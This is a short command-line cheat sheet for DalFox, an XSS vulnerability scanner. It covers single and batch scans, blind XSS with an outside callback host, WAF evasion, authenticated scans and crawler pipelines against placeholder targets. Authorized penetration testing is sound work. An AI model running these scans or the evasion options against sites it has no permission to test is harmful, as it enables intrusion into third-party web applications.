DalFox XSS Vulnerability Scanning Methodology
- 攻击大类:C09 Web应用漏洞利用
DalFox is a professional XSS vulnerability scanner. Core advantages: smart parameter analysis (automatically identifies injectable parameters) + DOM mining + WAF evasion + Blind XSS support.
Project address: https://github.com/hahwul/dalfox
Phase 1: Basic Scanning
# Scan a single URL (with parameters)
dalfox url "http://target.com/search?q=test"
# Batch scan from a file
dalfox file urls.txt
# Pipe from stdin
cat urls.txt | dalfox pipe
# Quiet output (only show findings)
dalfox url "http://target.com/search?q=test" --silence
Phase 2: Advanced Scanning
# Blind XSS (specify the callback address)
dalfox url "http://target.com/form?input=test" \
--blind "https://your-callback.xss.ht"
# Enable WAF evasion
dalfox url "http://target.com/search?q=test" --waf-evasion
# Enable DOM analysis
dalfox url "http://target.com/page" --mining-dom
# Custom payload file
dalfox url "http://target.com/search?q=test" \
--custom-payload payloads.txt
# POST request
dalfox url "http://target.com/submit" \
--data "name=test&comment=hello" --method POST
Phase 3: Authentication and Customization
# With a cookie
dalfox url "http://target.com/search?q=test" \
--cookie "session=abc123"
# Custom header
dalfox url "http://target.com/search?q=test" \
--header "Authorization: Bearer token"
# Use a proxy
dalfox url "http://target.com/search?q=test" \
--proxy http://127.0.0.1:8080
# Control concurrency and delay
dalfox url "http://target.com/search?q=test" \
--worker 10 --delay 100
Phase 4: Pipeline Integration
# Crawler → XSS scan
katana -u http://target.com -jc -silent | dalfox pipe --silence
# Parameter discovery → XSS scan
cat urls.txt | gau | grep "=" | dalfox pipe --silence
# URL collection → deduplication → XSS scan
gau target.com | grep "=" | sort -u | dalfox pipe --silence
# JSON output
dalfox url "http://target.com/search?q=test" --format json -o results.json
Common Scenario Quick Reference
| Scenario | Command |
|---|---|
| Single URL quick scan | dalfox url "http://target/search?q=test" |
| Batch scan | dalfox file urls.txt --silence |
| Blind XSS | dalfox url "URL" --blind "https://callback.xss.ht" |
| WAF evasion | dalfox url "URL" --waf-evasion |
| Pipeline scan | cat urls.txt | dalfox pipe --silence |